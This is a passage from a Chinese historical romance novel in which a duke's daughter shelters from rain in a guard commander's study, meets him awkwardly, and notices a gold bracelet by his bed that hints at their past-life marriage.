郑来仪也很为难,有些后悔方才不应该一时意气离开荷安院,倘若好好和郑成帷说明情况,他应当会帮自己的,也不至于落到此时骑虎难下的境地。禁军里不乏高门子弟,倘若自报家门说明原委,很快“国公小姐怀揣指挥使腰牌上北衙司寻人”的故事就会传遍玉京,再衍生出多少香艳的版本也不稀奇。 二人正面面相觑地僵持着,突然天边一声闷雷,随即黄豆大的雨点便落了下来。 郑来仪站在阶上,神色益发焦急。看着这娇花一样的人儿被打湿了衣裙,长史心中怜惜之意顿起,忙道:“这雨来得急,去得估计也快,姑娘先进来避避!” 两个大男人陪着一个妙龄少女站在北衙司的门廊下躲雨,这场景实在不大好看。长史当机立断,引着郑来仪进了内院。 “这里是……” 长史帮郑来仪推开房门,跟着她进屋后,任房门敞着,一边解释道,“这是我们指挥使大人的书房——大人他白日很少在衙门里,也只有晚上回来这里过夜。” 郑来仪点点头,也不朝里走,就站在门边,满眼焦虑地看向院里石砖上溅起的雨水,并不朝屋内陈设多打量一眼。 长史见她这副未有半分逾矩的样子,心下反而有些不安,当下只道:“姑娘在此稍待,在下去去就回……”说罢跨出屋门,走到廊下就喊:“——贾二!” 贾二不知从哪个角落里窜出来,闻声奔到长史面前:“大人,您怎么又不经大人允许,随便带人进指挥使大人的屋子了?” 长史没好气地敲了下贾二的头:“我还要你提醒!!这不是看雨下得太大,把个姑娘淋透了不好么!” 贾二嘻嘻笑:“还是大人会疼人……” “我疼你奶奶!咱们指挥使这桃花也忒旺了些……”长史无奈感叹,“——哎,大人大概什么时候回?” “这小的上哪知道去?”贾二一摊手。 长史望一眼天,咬咬牙道,“这雨不知道下到啥时候,等会若是停了大人还没回,咱们就找个由头把人给请走,让她改日再来,下回再遇上找指挥使大人的姑娘,一律就说不在,省得给自己惹麻烦!” “得嘞!那若是大人他回了,您怎么办?” “那咱俩就咬定,她是来报案的,有公务要找大人,他总不能不接招——” 两人正对着说辞,前院接连有兵士的声音响起。 “指挥使大人!” “大人!” 长史和贾二对视一眼,连忙拎起衣袍朝外迎。脚步匆忙加上心慌,长史下台阶时还微微打了个趔趄。 叔山梧一身利落的窄袖胡服,束发被雨打湿了,一边单手解着手腕上的革带臂缚,一边大步流星地朝内走,看见两人一前一后迎上来,脚步不停道:“怎么了?” “大、大人……”长史有些结巴,“有、有客人找您……” 叔山梧皱了眉,一边推开门,不耐道:“不是说了——” 门外的人脚步一顿,站在房门边的人下意识后退半步。 “叔……指挥使大人。”郑来仪慢了半拍才开口。 叔山梧左手的臂缚解了一半,松脱下来,就那么捏在手里,雨水顺着袍服的下摆滴答滴答地落在青砖上。 尴尬的静默中,长史最先撑不住突兀地开口:“大人,这、这位报案的是姑、姑娘,前来找、找您……” 郑来仪奇怪地看了一眼语无伦次的长史官,后者已经闭了嘴,目不斜视地静待着长官示下。 叔山梧微微转过脸,乜了一眼肃目敛眉的长史。长史硬着头皮迎向上官的目光,满脑子都是上回指挥使大人冷硬的那句“北衙司接待来访,长史官需全程在场”,打定主意今天要做一枚楔子,钉死在叔山梧的书房里,不得命令绝不挪步。 “出去。” 长史一愣,随即会意,面带歉意地看向郑来仪:“抱歉,姑娘……还是得请您出——” “你,出去。” 长史还没反应过来,门外哆哆嗦嗦伸出一只手来,是贾二拽了拽长史的衣角。他这才发觉指挥使看着自己的眼神莫名带了股杀气,如梦初醒般径直后退,脚后跟在门槛上绊了一下,整个仰面朝门外倒去,幸好被贾二及时伸出胳膊挡住了。 “下、下官告退……”这回没等上官吩咐,俩人二话不说将门从屋外阖上了。 叔山梧鸦羽一般浓密的眉与睫上还挂着未拭尽的水珠,唤她的声音里也带着潮意。< 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叔山梧见她终于坐下,一边解着剩余的那只臂缚,一边绕到帷帐后,接着便传来金玉相叩的动静,约莫是在解腰上束着的蹀躞带。 郑来仪面色顿时有些尴尬,朝里扬声道:“东西还你了,我先走了——”便准备起身。 “等等。” 叔山梧的身影从帷帐后重新出现。他换了一身月白的丝缎长袍,袖口绣着几片零落的竹叶,玉带松松系在腰间,方才通身肃杀的气质荡然无存,面上尤带着几分水痕,更显得利落的五官如昆玉秋霜一般。等到人走到郑来仪面前时,才看见他手里还握着把油纸伞。 她一怔。 前世她几度为他送行,不乏阴雨连绵的日子,因为“伞”与“散”谐音,她总是执意他们夫妻之间各拿各的伞,不能互相送来送去。 而叔山梧从来淡然,对妻子这种过分迷信的行为不予置评。 这一回就当是你送的,我可不会再来还了。 郑来仪这么想着,伸手去拿,却发现他没有要给自己的意思。 “走吧,我送你。”拿着伞的人背着手,朝门口的方向扬了扬下巴。 “不用你送了,我自己走吧。”郑来仪昂着头,眼神坚持。 叔山梧看了她一会,而后道:“那我叫人送你。” “……算了。” 郑来仪实在不想再让他那两个奇奇怪怪的下属看热闹了,叹一口气,站起身来。 叔山梧从善如流,走到了门边等她,郑来仪却隐约觉得有哪里不对。 她顿住脚步,转头看向屋内——原本紧闭的帷帐在主人换完衣服后拉开了,露出后面一张简单的竹榻。床榻边一只沉香木的矮柜上,有什么东西正熠熠闪光。 “这不是……?” 郑来仪犹疑地朝那矮柜走过去,看清上面搁着的是一只圆润饱满的金跳脱。 身后的脚步缓慢跟过来。伴着脚步声一道的,还有低不可闻的一声叹气。